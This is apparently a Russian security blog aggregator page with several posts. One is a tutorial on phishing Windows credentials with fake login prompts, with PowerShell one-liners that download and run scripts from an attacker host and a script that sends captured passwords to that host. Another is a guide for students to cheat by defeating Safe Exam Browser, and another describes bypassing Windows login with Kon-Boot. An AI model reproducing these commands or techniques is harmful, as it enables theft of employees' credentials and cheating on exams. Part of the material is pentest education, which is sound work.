Cybersecurity

Фишинг учетных данных Windows

16.07.2020 18:14:38 |

Автор: admin

В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года с 9% до 18%. Такие данные приводит Лаборатория Касперского.

В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.

С#

Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)

1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.

FakeLogonScreen запуск

FakeLogonScreen блокировка экрана

При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.

FakeLogonScreen Ввод учетных данных

Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:

type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db

FakeLogonScreen сохранение в файл user.db

2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.

SharpLocker блокировка экрана

Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.

SharpLocker фишинг пароля

Power Shell

Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.

1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.

CredsLeaker HTTP Delivery

Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.

CredsLeaker окно фишинга

Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:

/var/www/html/creds.txt

CredsLeaker вывод в файл creds.txt

2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине злоумышленника:

 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt

Invoke-LoginPrompt удаленный вызов

Invoke-LoginPrompt окно фишинга

3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.

Import-Module C:\Invoke-CredentialsPhish.ps1 Invoke-CredentialsPhish

Invoke-CredentialsPhish локальный вызов и окно фишинга

Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.

Invoke-CredentialsPhish вывод собранных данных

Данный скрипт также может быть запущен удаленно:

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish

Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:

use auxiliary/server/capture/http_basicset URIPATH /

PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc = new-object net.webclient;$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');$result = $wc.downloadstring('http://10.10.0.5/');

Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:

cat popup.txt | iconv -t UTF-16LE cat popup.txt | iconv -t UTF-16LE | base64 -w0

Конвертация кода в Base64

Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.

powershell.exe -ep bypass -enc <base64>

Окно фишинга учетных данных

Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.

Metasploit HTTP Server получение учетных данных

Metasploit

Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.

use post/windows/gather/phish_windows_credentialsset SESSION 3set PROCESS *run

Metasploit Module конфигурация

В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.

Metasploit Module мониторинг по всем процессам

Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.

Metasploit Module окно фишинга

Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.

Metasploit Module получение учетных данных

Также данный модуль может быть настроен на ожидание запуска конкретного процесса.

Metasploit Module получение учетных данных через процесс notepad.exe

BASH

Lockphish это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.

 bash lockphish.sh

LockPhish запуск

На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.

LockPhish скачивание файла

В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.

LockPhish экран блокировки

После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.

LockPhish редирект

Учетные данные будут отображены в консоли.

LockPhish собранные учетные данные

Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.

Краткий вердикт по всем протестированным ПО

FakeLogonScreen. Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)

SharpLocker. Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)

CredsLeaker. Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово причесать учетные данные, то веб-сервер это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)

Invoke-LoginPrompt. Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)

Invoke-CredentialsPhish. Все то же самое, что и у пациента выше.

Скрипт от Rob Fuller. Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)

Модуль Metasploit phish_windows_credentials. Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)

LockPhish. С одной стороны криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)

Еще больше материалов в нашем блоге в telegram. Подписывайся!

Подробнее..

Категории: Информационная безопасность , Безопасность , Security , Блог компании t.hunter , Cybersecurity , Windows , Fishing , Credential access , Фишинг

Вебинар Secure SDLC безопасность как фундаментальный аспект разработки

20.07.2020 16:23:27 |

Автор: admin

28 июля в 11:00 (МСК) приглашаем на вебинар Digital Security, где рассмотрим процесс Secure SDLC со всех сторон.

Зарегистрироваться без лишних слов

Разработчики ПО, прямо или косвенно, влияют практически на все сферы экономики и порой кардинально меняют представление пользователя о привычном.

Круто быть разработчиком, но и ответственно: хорошая репутация в сообществе и на рынке зависит от ряда факторов. Один из важнейших безопасность выпускаемого ПО. Поэтому всё больше компаний внедряют процесс безопасной разработки и обеспечивают защищённость продукта ещё на этапе написания кода. Об этом и поговорим 28 июля с экспертами Digital Security.

В программе вебинара:

Какие бизнес-задачи решает Secure SDLC
Как строится Secure SDLC: схема проверки, инструментарий, согласование графика релизов
Вот такие баги ловит команда Secure SDLC: кейсы из практики Digital Security
Жизнь после SDLC: дальнейшее развитие APP Sec в компании

Для кого:

Руководители компаний-разработчиков ПО
Руководители отделов разработки
Руководители и сотрудники подразделений ИБ компаний-разработчиков

Ну, вот теперь точно зарегистрироваться

Ждём вас и ваши вопросы на вебинаре 28 июля в 11:00 (МСК).

Подробнее..

Категории: Информационная безопасность , Development , Управление разработкой , Cybersecurity , Блог компании digital security , Digital security , Sdlc , Software , Иб

Протестируй меня полностью кому и зачем нужен внутренний пентест

21.07.2020 10:07:42 |

Автор: admin

Опаснее всего враг, о котором не подозреваешь.
(Фернандо Рохас)

ИТ-инфраструктуру современной компании можно сравнить со средневековым замком. Высокие стены, глубокий ров и стража у ворот защищают от внешнего врага, а за тем, что происходит внутри крепостных стен, практически никто не следит. Так же и многие компании: они прилагают колоссальные усилия для защиты внешнего периметра, а внутренняя инфраструктура при этом остается обделенной. Внутреннее тестирование на проникновение для большинства заказчиков пока процесс экзотический и не очень понятный. Поэтому мы решили рассказать о нем все (ну, почти все), что вы хотели знать, но боялись спросить.

Внешний враг (страшный хакер в черной толстовке с капюшоном) выглядит пугающе, но огромная часть утечек корпоративной информации происходит по вине инсайдеров. По статистике нашего центра мониторинга Solar JSOC, на внутренние инциденты приходится примерно 43% от общего количества угроз. Одни организации полагаются на средства защиты часто некорректно настроенные, которые можно легко обойти или отключить. Другие вообще не рассматривают инсайдера как угрозу и закрывают глаза на недостатки защиты внутренней инфраструктуры.

Проблемы, которые мы выявляем при анализе внутрянки, кочуют из компании в компанию:
слабые и неизменяемые пароли для сервисных и привилегированных учетных записей;
одинаковые пароли для обычной учетной записи администратора и привилегированной;
одна учетная запись локального администратора на всех рабочих станциях в сети;
ненадежное хранение паролей;
активные учетные записи уволенных сотрудников;
чрезмерные привилегии для сервисных и пользовательских учетных записей;
отсутствие сегментации сети.

Важно: в этом посте речь идет о Windows-сетях с использованием Active Directory.

Кто и что проверяет

Глобально тестирование на проникновение позволяет выявить, насколько потенциальный злоумышленник может навредить ИТ-инфраструктуре конкретной компании. Для этого специалисты по кибербезопасности, проводящие пентест, симулируют действия хакера с применением реальных техник и инструментов, но без вреда для заказчика. Результаты проверки помогают повысить уровень безопасности организации, сократив риски для бизнеса. У такого тестирования есть два направления: внешнее и внутреннее. В первом случае белый хакер должен найти уязвимости, с помощью которых можно проникнуть во внутреннюю сеть (то есть пробить ту самую крепостную стену).

Внутреннее же тестирование на проникновение проверяет, насколько инфраструктура уязвима перед инсайдером или нарушителем, у которого есть доступ в локальную сеть организации. Смогут ли они при желании контролировать ЛВС, беспрепятственно передвигаться по ней и влиять на работу отдельных серверов? Такие работы проводятся во внутренней сети, причем чаще с позиции сотрудника, обладающего минимальными привилегиями. При этом проверять можно (и нужно) даже тех работников, которые имеют только физический доступ к компьютерам (например, уборщики, электрики, охранники, курьеры и пр.).

Пентест не должен выявлять все существующие в компании уязвимости на всех хостах внутренней сети (это можно сделать с помощью сканера уязвимостей или корректной настройкой политик управления уязвимостями). У него совсем другая задача: найти один-два маршрута, по которым может пойти злоумышленник, чтобы успешно атаковать свою жертву. Выполнение работ фокусируется на настройках безопасности и особенностях Windows. Словом, здесь уже не будет производиться, например, сканирование открытых портов и поиск хостов с неустановленными обновлениями.

Как это происходит

Тестирование безопасности внутренней инфраструктуры проходит в несколько этапов:

Вот пример того, как в реальности проходил подобный внутренний пентест в рамках одного из наших проектов:
сначала мы выявили общие файловые ресурсы, на которых располагались веб-приложения;
в одном файле конфигурации обнаружили пароль пользователя SA (Super Admin) к базе данных MS SQL;
с помощью встроенной в MS SQL утилиты sqldumper.exe и процедуры xp_cmdshell получили дамп процесса LSASS, через подключение к СУБД:
из процесса извлекли пароль пользователя с привилегиями доменного администратора.

Так как внутреннее тестирование на проникновение рассматривает только внутреннюю (что очевидно) инфраструктуру организации, совершенно не важно, каким образом злоумышленник получил первоначальный доступ в сеть важно, как он воспользовался этим доступом. Поэтому в финальном отчете, составленном по итогам пентеста, описываются не обнаруженные уязвимости, а история того, как специалист продвигался по сети, с какими препятствиями и трудностями он столкнулся, как их обошел и каким образом выполнил поставленную задачу. Специалист может обнаружить несколько недостатков, но для достижения цели будет выбран один самый оптимальный или интересный. При этом все замеченные по дороге уязвимости также попадут в отчет. В результате заказчик получит рекомендации по исправлению недочетов и повышению уровня безопасности внутренней инфраструктуры.

По сути внутренний пентест продолжает внешний, отвечая на вопрос: Что произойдет после того, как киберпреступник попал в сеть?. Для сравнения в процессе тестирования на проникновение внешнего периметра обычно используется следующая методология:

Кто заходит в инфраструктуру

Итак, каким образом злоумышленник попал в сеть не важно, поэтому на начальном этапе планирования работ по внутреннему пентесту могут рассматриваться модели инсайдера или внешнего нарушителя.

1) Модель инсайдера. Инсайдер это мотивированный внутренний злоумышленник, у которого есть легитимный доступ к инфраструктуре организации, ограниченный только должностными обязанностями. Например, реальный сотрудник, который решил навредить своей компании. Также в роле инсайдеров могут выступать сотрудники вспомогательных служб (охранники, уборщики, электрики и др.), у них есть легитимный доступ в офис, но отсутствуют права доступа к инфраструктуре.

2) Модель внешнего нарушителя. Модель не фокусируется на том, каким образом был получен доступ (уязвимость в ПО периметра, утечка учетных данных, социальная инженерия или что-то другое) во внутреннюю сеть организации. За начальную точку принимается тот факт, что чужак уже внутри.

После составления модели угрозы моделируется и сама ситуация, при которой исполнитель получит доступ к инфраструктуре:
физический доступ с предоставлением рабочего места и учетных данных пользователя;
физический доступ с предоставлением доступа в сеть без учетных данных. Доступ в сеть может быть как проводной, так и беспроводной (Wi-Fi);
удаленный доступ к рабочему месту или сервису удаленных рабочих столов. Это самый распространенный вариант: в данном случае моделируется или инсайдер, или злоумышленник, получивший доступ через утечку учетных данных либо перебор паролей;
запуск вредоносного документа, эмуляция фишинговой атаки. Документ запускается с целью установки канала связи с командным центром (Command & Control), откуда будет проводиться пентест. Этот метод относительно новый для тестирования безопасности внутренней инфраструктуры, но наиболее реалистичный с точки зрения действий злоумышленника.

При этом пентест это не бесцельное блуждание по чужой инфраструктуре. У белого хакера всегда есть цель, поставленная заказчиком. Самым распространённым сценарием для внутреннего тестирования на проникновение является получение привилегий доменного администратора. Хотя в реальности злоумышленники редко стремятся получить такие привилегии, так как это может привлечь к ним ненужное внимание. Поэтому в большинстве случаев привилегии доменного администратора будут скорее не целью, а средством ее достижения. А целью может стать, например, захват корпоративной сети, получение доступа к рабочей станции и серверу или к приложению и базе данных.

Кому все это нужно

А стоит ли вообще заказчику пускать пентестеров в свою корпоративную сеть? Однозначно, стоит. Именно здесь находятся самые критичные данные и главные секреты компании. Чтобы защитить ЛВС, необходимо знать все ее закоулки и недостатки. И внутреннее тестирование на проникновение может в этом помочь. Оно позволяет увидеть слабые места в инфраструктуре или проверить настроенные контроли безопасности и улучшить их. Кроме того, внутренний пентест это более доступная альтернатива Red Team. Ну, если есть задача продемонстрировать руководству, что выделяемых средств недостаточно для обеспечения безопасности внутренней инфраструктуры, внутренний пентест позволяет подкрепить этот тезис фактами.

Автор: Дмитрий Неверов, эксперт по анализу защищенности, Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , Cybersecurity , Ит-инфраструктура , Блог компании ростелеком-солар , Пентест , Тестирование на проникновение

1000 и 1 способ обойти Safe Exam Browser

31.07.2020 16:11:33 |

Автор: admin

Ну ладно, не 1000 и 1 способ, но их довольно много! О чем это мы? О том, что пандемия COVID-19 внесла много изменений в нашу жизнь, в том числе, и в образование как школьное, так и ВУЗовское. Уроки, лекции и семинары перешли в онлайн-формат, а вопрос, как быть с контролем успеваемости, остался. Как преподавателям убедиться, что сдающий экзамен студент не открыл в соседней вкладке шпаргалки?

В России эту проблему решили с помощью open-source программы Safe Exam Browser (SEB). Казалось бы, теперь ни один искатель халявы не сможет смухлевать, но так ли уж неприступна эта крепость? Заходи под кат, сегодня мы расскажем и покажем кучу способов обмануть SEB!

Шёл 2020-й год Весь мир в панике, курс рубля падает, государства переходят в режим ЧС Несмотря на все это, основное желание среднестатистического студента остается прежним сдать сессию с наименьшими затратами сил и времени на подготовку. Казалось бы, с переходом на дистанционное обучение для студента все стало проще нужно всего лишь сделать умное лицо при ответе на вопрос по веб-камере, а прочитать материал можно и с параллельно открытого документа на компьютере. Но не тут-то было!

Многие российские ВУЗы для проверки успеваемости студентов внедрили программу Safe Exam Browser, которая предотвращает практически все попытки читерства. Конечно, для находчивых студентов и это не препятствие ведь можно гуглить ответы на тест и на втором компьютере (или попросить погуглить друга).

Но, поскольку мы в душе тру хацкеры, мы решили проверить, насколько этот SEB действительно помогает при проведении экзаменов и как все же программно обойти его чуткий контроль (при условии, что студент обладает базовыми навыками работы на компьютере, не впадает в ужас от слов виртуальная машина и знает, как установить плагин для браузера Mozilla Firefox). Готовы? Поехали!

Что такое Safe Exam Browser (SEB)?

Safe Exam Browser (SEB) программа для проведения экзаменов, тестов и т.д. в режиме онлайн. Предусматривает защиту от:

открытия посторонних приложений (видео- и голосовой связи);
параллельного поиска информации в веб-браузере;
запуска приложения на виртуальной машине;
перехода на определенные сайты;
сохранения информации в буфере обмена перед входом в программу.

Архитектура SEB включает в себя две части: десктопное приложение и браузер. Приложение запускается на компьютере учащегося и блокирует все остальные приложения, кроме необходимых для сдачи экзамена. Взаимодействие по сети возможно только с помощью браузера SEB, при этом браузер соединяется с образовательной платформой, на которой размещен тест или экзамен (например, Moodle). Экзаменатор может разрешить использовать во время сдачи экзамена сторонние приложения, например, Excel или калькулятор, и тогда учащемуся будет доступна возможность их запуска. Все подобные разрешения и другие настройки осуществляются с помощью конфигуратора SEB и записываются в конфигурационный файл, который впоследствии запускается десктопным приложением.

Конфигуратор SEB представляет собой приложение с интуитивно понятным интерфейсом:

В нем можно задать URL-адрес экзаменационного ресурса, список разрешенных/запрещенных приложений и сайтов, разрешения на загрузку файлов из Интернет, работу в виртуальной машине и т.д.

Большой простор для творчества и фантазии, не так ли?) Что же, приступим.
Для тестирования нам потребуется: программа SEB, виртуальная машина (VmWare, VirtualBox), браузер Mozilla Firefox, что-нибудь для компиляции большого проекта на C# (автор использовал Visual Studio Code), какой-нибудь образовательный ресурс (например, тест на Moodle, настроенный только для работы с SEB).

Дисклеймер: при написании статьи автору очень помогла эта статья.

1. Смена user-agent браузера

Для реализации этого способа не потребуется практически никаких знаний и инструментов. Проверим, как реагирует тест на Moodle на запуск через обыкновенный веб-браузер:

Как видно из скриншота, SEB не позволяет получить доступ к тесту из обычного браузера.
Согласно документации, в качестве веб-браузера SEB использует XULRunner движок Gecko браузера Mozilla. Попробуем подменить user-agent браузера Mozilla на user-agent, указанный в конфигураторе SEB:

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0 SEB

Установим какой-нибудь плагин для подмены user-agent, например, User-Agent Switcher, и добавим к нему следующий вариант:

Ловкость рук и немного мошенничества и теперь можно спокойно приступать к тесту, параллельно открыв гугл в соседней вкладке! :)

2. Изменение конфигурационного файла виртуальной машины

Предыдущий способ, конечно, очень прост и понятен, однако вполне может возникнуть ситуация, что экзаменатором собираются еще и логи экзамена а SEB как раз логгирует все свои события: выключение неразрешенных процессов, очистку буфера обмена и многое другое. Поэтому надо найти способ читерить с включенным SEBом!

Сначала мы решили посмотреть, можно ли включить SEB на виртуальной машине. Здесь, к сожалению, нас постигла неудача в таких условиях SEB даже не позволяет себя запустить. Но как-то же он понимает, что используется виртуальная машина!

Было опасение, что SEB использует не очень приятные для студента способы вроде обнаружения процессов и сервисов виртуальной машины (ВМ) в системе, но при изучении исходного кода было выяснено, что проверка на запуск из ВМ происходит в функции IsInsideVM() файла SEBWindowsClientMain.cs:

private static bool IsInsideVM()        {            using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))            {                using (var items = searcher.Get())                {                    foreach (var item in items)                    {                        Logger.AddInformation("Win32_ComputerSystem Manufacturer: " + item["Manufacturer"].ToString() + ", Model: " + item["Model"].ToString(), null, null);                        string manufacturer = item["Manufacturer"].ToString().ToLower();                        string model = item["Model"].ToString().ToLower();                        if ((manufacturer == "microsoft corporation" && !model.Contains("surface"))                            || manufacturer.Contains("vmware")                            || manufacturer.Contains("parallels software")                             || manufacturer.Contains("xen")                            || model.Contains("xen"))                            || model.Contains("virtualbox"))                        {                            return true;                        }                    }                }            }            return false;        }

Видим, что SEB способен определить виртуальные машины производителей, которые перечислены в коде! А что, если мы изменим конфиг виртуальной машины, подменив, тем самым, производителя?

Сказано сделано! Открываем конфигурационный файл VmWare и добавляем следующую строку:

Теперь manufacturer model виртуальной машины станет таким же, как и у основной машины. Запускаем виртуальную машину, на ней включаем SEB и пытаемся получить доступ к тесту все работает!

3. Компиляция новых версий SEB

А теперь переходим к самому интересному компиляции своей версии SEB! Исходный код доступен здесь. Самое интересное, что конфигурационный файл SEB не отслеживает целостность десктопного приложения (либо отслеживает так, что мы смогли без проблем поменять большую часть кода, хи-хи), тогда как целостность конфигурационного файла, присланного экзаменатором, проверяется строже некуда.

3.1 Запуск в виртуальной машине

Подмену производителя мы уже сделали в пункте 2, но как было бы круто создать версию SEB, которая запускается в любой виртуальной машине, верно? К тому же, сделать это более чем легко (если не считать танцев с бубном при попытках скомпилировать проект в первый раз а все из-за несходства платформ .NET).

Итак, нужно всего лишь в приведенном выше коде закомментировать строчку с нужной ВМ:

В данном случае мы скомпилировали программу таким образом, чтобы она вообще не реагировала на запуск в виртуальной машине VirtualBox. Но есть одно важное замечание: если наши читатели решат воспользоваться данным способом, то необходимо убрать/изменить логгирование событий! Виртуальная машина запустится без проблем, но в логах обязательно отразится запуск через VirtualBox.

3.2 Очистка буфера обмена

Когда SEB включается, он автоматически очищает буфер обмена. Таким образом, все, что скопировал студент до запуска SEB, в SEB не попадет. Что же, вызов принят!

Здесь можно пойти двумя путями:

Покопаться в файле SEBClipboard.cs, убрать логгирование ошибок или немного изменить алгоритм очистки буфера обмена.
Закомментировать строку в файле SEBWindowsClientMain.cs:
```
             // Clean clipboard            //SEBClipboard.CleanClipboard();            Logger.AddInformation("Clipboard cleaned.", null, null);
```
При этом лучше оставить последующее логгирование чтобы проверяющий не понял, что с собой в SEB вы захватили То-Что-Нельзя-Использовать-На-Экзамене :)

Воспользовавшись любым из этих способов, можно получить желанный результат:

Таким образом, с собой в SEB можно пронести любой текст, картинку словом, шпаргалку, которую можно поместить в буфер обмена.

3.3 Помощь друга или убираем запрет на Discord

SEB похож на очень капризную женщину при включенном Skype, Discord и т.д. он не включится, а поставит тебя перед выбором: или я, или они.
Что ж, постараемся снизить градус напряжения в такой ситуации.

Здесь есть простор для полёта фантазии, но, в целом, достаточно закомментировать подходящие по смыслу строки вроде processToClose.Kill(); в файле SEBNotAllowedProcessController.cs.
Также советуем рассмотреть строки SetForegroundWindow(windowHandle);, BringWindowToTop(windowHandle); и работу службы WatchDog. Грамотное выстраивание логики приложения и логгирования ключ к успеху!
И мы тем временем получили запущенный Discord при работающем SEB:

Что еще могут попробовать энтузиасты?

Вариантов осталось достаточно, хватит на 1000 и 1 бессонную ночь за компьютером. Например, можно перекомпилировать SEB так, чтобы он не запускался поверх всех окон, и его можно было бы свернуть как обычное приложение.

Также можно попробовать запустить SEB на других ОС (невероятно, но факт: очевидцы утверждают, что стандартный ВУЗовский конфиг для SEB на OS X даже голосовую связь по Discord остановить не может!).

Итак, способов собрать SEB с урезанным функционалом великое множество, тут все упирается только в воображение креативных и трудолюбивых студентов!

Закончим статью ~~народной~~ мудростью: остановить студента в поиске халявы может только еще большая халява!

Подробнее..

Категории: Информационная безопасность , Open source , Учебный процесс в it , Cybersecurity , Удаленное образование , Кибербезопасность , Блог компании необит , It-образование , Safe exam browser , Удаленное обучение

Kali Linux NetHunter на Android Ч.3 нарушение дистанции

31.07.2020 18:06:20 |

Автор: admin

Приветствую тебя, мой читатель! Надеюсь, что предыдущие части (первая и вторая) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.

DriveDroid

DriveDroid приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.

С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.

При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип далее-далее-далее-ок, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).

Рис.1. Настройка и интерфейс DriveDroid.

Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ Drive Droid Boot Tester. При нажатии на него появляется несколько вариантов монтирования:

как флешку в режиме чтения,
как флешку в режиме чтение/запись,
как привод с оптическим диском.

Выбираем любой понравившийся вариант для монтирования (я выбирал read-only usb), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).

Рис.2. Экран загрузки с тестового образа DriveDroid.

Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.

Особо хочется отметить средство Kon-Boot, которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows тут и для Mac тут. Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:

Монтируем образ утилиты с помощью DriveDroid;
Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
Выбираем любого пользователя и заходим под ним с пустым паролем.

Видео с демонстрацией работы (не мое) можно посмотреть тут.

User experience

Я тестировал работу утилиты (Kon-Boot 2.4) на Windows 7 home extended с последними обновлениями. Авторизация под локальным администратором проходила успешно. Правда немного пришлось повозиться с получением компактного образа для DriveDroid. Я создал пустой IMG-файл размером 30 Мб, примонтировал его через опцию Writable USB. Мой компьютер распознал его как обычную флешку, и через утилиту от разработчиков записал Kon-Boot на эту флешку-образ.

HID атаки

